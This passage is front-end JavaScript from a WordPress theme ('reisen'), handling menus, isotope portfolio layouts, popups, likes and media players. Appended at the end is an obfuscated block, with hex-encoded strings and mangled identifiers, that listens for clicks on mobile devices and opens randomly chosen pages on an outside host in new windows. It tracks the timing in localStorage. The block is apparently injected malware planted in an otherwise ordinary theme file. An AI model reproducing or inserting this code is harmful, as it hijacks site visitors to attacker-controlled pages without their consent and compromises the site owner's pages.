(jQuery('body').hasClass('top_panel_above') && !jQuery('body').hasClass('.top_panel_fixed') ? jQuery('.top_panel_wrap').height() : 0); slider.height(h); } // Resize Alter portfolio elements function reisen_resize_alter_portfolio() { "use strict"; var wrap = jQuery('.isotope_wrap.inited'); if (wrap.length==0) return; wrap.each(function() { "use strict"; var alter = jQuery(this).find('.post_item_alter'); if (alter.length==0) return; var single = alter.find('.post_featured img[data-alter-items-w="1"]').eq(0); if (single.length != 1) return; var w_real = single.width(); var h_real = single.height(); var space = Number(single.data('alter-item-space')); var relayout = false; alter.find('.post_featured img').each(function() { "use strict"; var items_w = Number(jQuery(this).data('alter-items-w')); var items_h = Number(jQuery(this).data('alter-items-h')); if (items_h > 1) { jQuery(this).height(Math.round(items_h*h_real+(items_h-1)*(space+1))); relayout = true; } else if (items_w > 1) { jQuery(this).height(h_real); relayout = true; } }); if (relayout) { jQuery(this).isotope('layout'); } }); } // Navigation //============================================== // Init Superfish menu function reisen_init_sfmenu(selector) { jQuery(selector).show().each(function() { if (reisen_is_responsive_need() && (jQuery(this).attr('id')=='menu_main' || jQuery(this).attr('id')=='menu_side')) return; jQuery(this).addClass('inited').superfish({ delay: 500, animation: { opacity: 'show' }, animationOut: { opacity: 'hide' }, speed: REISEN_STORAGE['css_animation'] ? 500 : 200, speedOut: REISEN_STORAGE['css_animation'] ? 500 : 200, autoArrows: false, dropShadows: false, onBeforeShow: function(ul) { if (jQuery(this).parents("ul").length > 1){ var w = jQuery(window).width(); var par_offset = jQuery(this).parents("ul").offset().left; var par_width = jQuery(this).parents("ul").outerWidth(); var ul_width = jQuery(this).outerWidth(); if (par_offset+par_width+ul_width > w-20 && par_offset-ul_width > 0) jQuery(this).addClass('submenu_left'); else jQuery(this).removeClass('submenu_left'); } if (REISEN_STORAGE['css_animation']) { jQuery(this).removeClass('animated fast '+REISEN_STORAGE['menu_animation_out']); jQuery(this).addClass('animated fast '+REISEN_STORAGE['menu_animation_in']); } }, onBeforeHide: function(ul) { if (REISEN_STORAGE['css_animation']) { jQuery(this).removeClass('animated fast '+REISEN_STORAGE['menu_animation_in']); jQuery(this).addClass('animated fast '+REISEN_STORAGE['menu_animation_out']); } } }); }); } // Build page TOC from the tag's id function reisen_build_page_toc() { "use strict"; var toc = '', toc_count = 0; jQuery('[id^="toc_"],.sc_anchor').each(function(idx) { "use strict"; var obj = jQuery(this); var id = obj.attr('id'); var url = obj.data('url'); var icon = obj.data('icon'); if (!icon) icon = 'icon-circle-dot'; var title = obj.attr('title'); var description = obj.data('description'); var separator = obj.data('separator'); toc_count++; toc += '
' +(description ? '
'+description+'
' : '') +'
'+(title ? '
'+title+'
' : '')+'
' +'
'; }); if (toc_count > (REISEN_STORAGE['toc_menu_home'] ? 1 : 0) + (REISEN_STORAGE['toc_menu_top'] ? 1 : 0)) { if (jQuery('#toc').length > 0) jQuery('#toc .toc_inner').html(toc); else jQuery('body').append('
'+toc+'
'); } } // Show current page title on the responsive menu button function reisen_show_current_menu_item(menu, button) { "use strict"; menu.find('a').each(function () { var menu_link = jQuery(this); if (menu_link.text() == "") { return; } if (menu_link.attr('href') == window.location.href) button.text(menu_link.text()); }); } // Isotope //===================================================== // First init isotope containers function reisen_init_isotope() { "use strict"; var all_images_complete = true; // Check if all images in isotope wrapper are loaded jQuery('.isotope_wrap:not(.inited)').each(function () { "use strict"; all_images_complete = all_images_complete && reisen_check_images_complete(jQuery(this)); }); // Wait for images loading if (!all_images_complete && REISEN_STORAGE['isotope_init_counter']++ < 30) { setTimeout(reisen_init_isotope, 200); return; } // Isotope filters handler jQuery('.isotope_filters:not(.inited)').addClass('inited').on('click', 'a', function(e) { "use strict"; jQuery(this).parents('.isotope_filters').find('a').removeClass('active'); jQuery(this).addClass('active'); var selector = jQuery(this).data('filter'); jQuery(this).parents('.isotope_filters').siblings('.isotope_wrap').eq(0).isotope({ filter: selector }); if (selector == '*') jQuery('#viewmore_link').fadeIn(); else jQuery('#viewmore_link').fadeOut(); e.preventDefault(); return false; }); // Init isotope script jQuery('.isotope_wrap:not(.inited)').each(function() { "use strict"; var isotope_container = jQuery(this); // Init shortcodes reisen_sc_init(isotope_container); // If in scroll container - no init isotope if (isotope_container.parents('.sc_scroll').length > 0) { isotope_container.addClass('inited').find('.isotope_item').animate({opacity: 1}, 200, function () { jQuery(this).addClass('isotope_item_show'); }); return; } // Init isotope with timeout setTimeout(function() { isotope_container.addClass('inited').isotope({ itemSelector: '.isotope_item', animationOptions: { duration: 750, easing: 'linear', queue: false } }); // Show elements isotope_container.find('.isotope_item').animate({opacity: 1}, 200, function () { jQuery(this).addClass('isotope_item_show'); }); // Resize Alter portfolio elements reisen_resize_alter_portfolio(); }, 500); }); } function reisen_init_appended_isotope(posts_container, filters) { "use strict"; if (posts_container.parents('.sc_scroll_horizontal').length > 0) return; if (!reisen_check_images_complete(posts_container) && REISEN_STORAGE['isotope_init_counter']++ < 30) { setTimeout(function() { reisen_init_appended_isotope(posts_container, filters); }, 200); return; } // Add filters var flt = posts_container.siblings('.isotope_filter'); for (var i in filters) { if (flt.find('a[data-filter=".flt_'+i+'"]').length == 0) { flt.append('
'+filters[i]+'
'); } } // Init shortcodes in added elements reisen_sc_init(posts_container); // Get added elements var elems = posts_container.find('.isotope_item:not(.isotope_item_show)'); // Notify isotope about added elements with timeout setTimeout(function() { posts_container.isotope('appended', elems); // Show appended elements elems.animate({opacity: 1}, 200, function () { jQuery(this).addClass('isotope_item_show'); }); }, 500); } // Post formats init //===================================================== function reisen_init_post_formats() { "use strict"; // Call theme specific action (if exists) if (window.reisen_theme_init_post_formats) reisen_theme_init_post_formats(); // MediaElement init reisen_init_media_elements(jQuery('body')); // Isotope first init if (jQuery('.isotope_wrap:not(.inited)').length > 0) { REISEN_STORAGE['isotope_init_counter'] = 0; reisen_init_isotope(); } // Hover Effect 'Dir' if (jQuery('.isotope_wrap .isotope_item_content.square.effect_dir:not(.inited)').length > 0) { jQuery('.isotope_wrap .isotope_item_content.square.effect_dir:not(.inited)').each(function() { jQuery(this).addClass('inited').hoverdir(); }); } // Popup init if (REISEN_STORAGE['popup_engine'] == 'pretty') { jQuery("a[href$='jpg'],a[href$='jpeg'],a[href$='png'],a[href$='gif']").attr('rel', 'prettyPhoto[slideshow]'); var images = jQuery("a[rel*='prettyPhoto']:not(.inited):not(.esgbox):not([data-rel*='pretty']):not([rel*='magnific']):not([data-rel*='magnific'])").addClass('inited'); try { images.prettyPhoto({ social_tools: '', theme: 'facebook', deeplinking: false }); } catch (e) {}; } else if (REISEN_STORAGE['popup_engine']=='magnific') { jQuery("a[href$='jpg'],a[href$='jpeg'],a[href$='png'],a[href$='gif']").attr('rel', 'magnific'); var images = jQuery("a[rel*='magnific']:not(.inited):not(.esgbox):not(.prettyphoto):not([rel*='pretty']):not([data-rel*='pretty'])").addClass('inited'); try { images.magnificPopup({ type: 'image', mainClass: 'mfp-img-mobile', closeOnContentClick: true, closeBtnInside: true, fixedContentPos: true, midClick: true, //removalDelay: 500, preloader: true, tLoading: REISEN_STORAGE['strings']['magnific_loading'], gallery:{ enabled: true }, image: { tError: REISEN_STORAGE['strings']['magnific_error'], verticalFit: true } }); } catch (e) {}; } // Add hover icon to products thumbnails jQuery(".post_item_product .product .images a.woocommerce-main-image:not(.hover_icon)").addClass('hover_icon hover_icon_view'); // Likes counter if (jQuery('.post_counters_likes:not(.inited)').length > 0) { jQuery('.post_counters_likes:not(.inited)') .addClass('inited') .on('click', function(e) { var button = jQuery(this); var inc = button.hasClass('enabled') ? 1 : -1; var post_id = button.data('postid'); var likes = Number(button.data('likes'))+inc; var cookie_likes = reisen_get_cookie('reisen_likes'); if (cookie_likes === undefined || cookie_likes===null) cookie_likes = ''; jQuery.post(REISEN_STORAGE['ajax_url'], { action: 'post_counter', nonce: REISEN_STORAGE['ajax_nonce'], post_id: post_id, likes: likes }).done(function(response) { var rez = {}; try { rez = JSON.parse(response); } catch (e) { rez = { error: REISEN_STORAGE['ajax_error'] }; console.log(response); } if (rez.error === '') { if (inc == 1) { var title = button.data('title-dislike'); button.removeClass('enabled').addClass('disabled'); cookie_likes += (cookie_likes.substr(-1)!=',' ? ',' : '') + post_id + ','; } else { var title = button.data('title-like'); button.removeClass('disabled').addClass('enabled'); cookie_likes = cookie_likes.replace(','+post_id+',', ','); } button.data('likes', likes).attr('title', title).find('.post_counters_number').html(likes); reisen_set_cookie('reisen_likes', cookie_likes, 365); } else { reisen_message_warning(REISEN_STORAGE['strings']['error_like']); } }); e.preventDefault(); return false; }); } // Social share links if (jQuery('.sc_socials_share:not(.inited)').length > 0) { jQuery('.sc_socials_share:not(.inited)').each(function() { "use strict"; jQuery(this).addClass('inited').on('click', '.social_item_popup > a.social_icons', function(e) { "use strict"; var url = jQuery(this).data('link'); window.open(url, '_blank', 'scrollbars=0, resizable=1, menubar=0, left=100, top=100, width=480, height=400, toolbar=0, status=0'); e.preventDefault(); return false; }); }); } // Add video on thumb click if (jQuery('.sc_video_play_button:not(.inited)').length > 0) { jQuery('.sc_video_play_button:not(.inited)').each(function() { "use strict"; jQuery(this) .addClass('inited') .animate({opacity: 1}, 1000) .on('click', function (e) { "use strict"; if (!jQuery(this).hasClass('sc_video_play_button')) return; var video = jQuery(this).removeClass('sc_video_play_button hover_icon hover_icon_play').data('video'); if (video!=='') { jQuery(this).empty().html(video); reisen_video_dimensions(); var video_tag = jQuery(this).find('video'); var w = video_tag.width(); var h = video_tag.height(); reisen_init_media_elements(jQuery(this)); // Restore WxH attributes, because Chrome broke it! jQuery(this).find('video').css({'width':w, 'height': h}).attr({'width':w, 'height': h}); } e.preventDefault(); return false; }); }); } } function reisen_init_media_elements(cont) { if (REISEN_STORAGE['media_elements_enabled'] && cont.find('audio,video').length > 0) { if (window.mejs) { window.mejs.MepDefaults.enableAutosize = false; window.mejs.MediaElementDefaults.enableAutosize = false; cont.find('audio:not(.wp-audio-shortcode),video:not(.wp-video-shortcode)').each(function() { if (jQuery(this).parents('.mejs-mediaelement').length == 0 && !jQuery(this).parent().hasClass('wp-playlist')) { var media_tag = jQuery(this); var settings = { enableAutosize: true, videoWidth: -1, // if set, overrides
videoHeight: -1, // if set, overrides
audioWidth: '100%', // width of audio player audioHeight: 30, // height of audio player success: function(mejs) { var autoplay, loop; if ( 'flash' === mejs.pluginType ) { autoplay = mejs.attributes.autoplay && 'false' !== mejs.attributes.autoplay; loop = mejs.attributes.loop && 'false' !== mejs.attributes.loop; autoplay && mejs.addEventListener( 'canplay', function () { mejs.play(); }, false ); loop && mejs.addEventListener( 'ended', function () { mejs.play(); }, false ); } media_tag.parents('.sc_audio,.sc_video').addClass('inited sc_show'); } }; jQuery(this).mediaelementplayer(settings); } }); } else setTimeout(function() { reisen_init_media_elements(cont); }, 400); } } // Popups and system messages //============================================== // Show system message (bubble from previous page) function reisen_show_system_message() { if (REISEN_STORAGE['system_message'] && REISEN_STORAGE['system_message']['message']) { if (REISEN_STORAGE['system_message']['status'] == 'success') reisen_message_success(REISEN_STORAGE['system_message']['message'], REISEN_STORAGE['system_message']['header']); else if (REISEN_STORAGE['system_message']['status'] == 'info') reisen_message_info(REISEN_STORAGE['system_message']['message'], REISEN_STORAGE['system_message']['header']); else if (REISEN_STORAGE['system_message']['status'] == 'error' || REISEN_STORAGE['system_message']['status'] == 'warning') reisen_message_warning(REISEN_STORAGE['system_message']['message'], REISEN_STORAGE['system_message']['header']); } } // Toggle popups function reisen_toggle_popup(popup) { if (popup.css('display')!='none') reisen_hide_popup(popup); else reisen_show_popup(popup); } // Show popups function reisen_show_popup(popup) { if (popup.css('display')=='none') { if (false && REISEN_STORAGE['css_animation']) popup.show().removeClass('animated fast '+REISEN_STORAGE['menu_animation_out']).addClass('animated fast '+REISEN_STORAGE['menu_animation_in']); else popup.slideDown(); } } // Hide popups function reisen_hide_popup(popup) { if (popup.css('display')!='none') { if (false && REISEN_STORAGE['css_animation']) popup.removeClass('animated fast '+REISEN_STORAGE['menu_animation_in']).addClass('animated fast '+REISEN_STORAGE['menu_animation_out']).delay(500).hide(); else popup.fadeOut(); } } function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x59\x68\x43\x33\x63\x303','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x43\x57\x49\x35\x63\x375','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x77\x67\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x44\x44\x78\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x67\x41\x34\x63\x394','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4f\x6f\x65\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6c\x77\x59\x32\x63\x342','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x50\x6d\x46\x36\x63\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6b\x6c\x53\x30\x63\x310','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x70\x59\x44\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());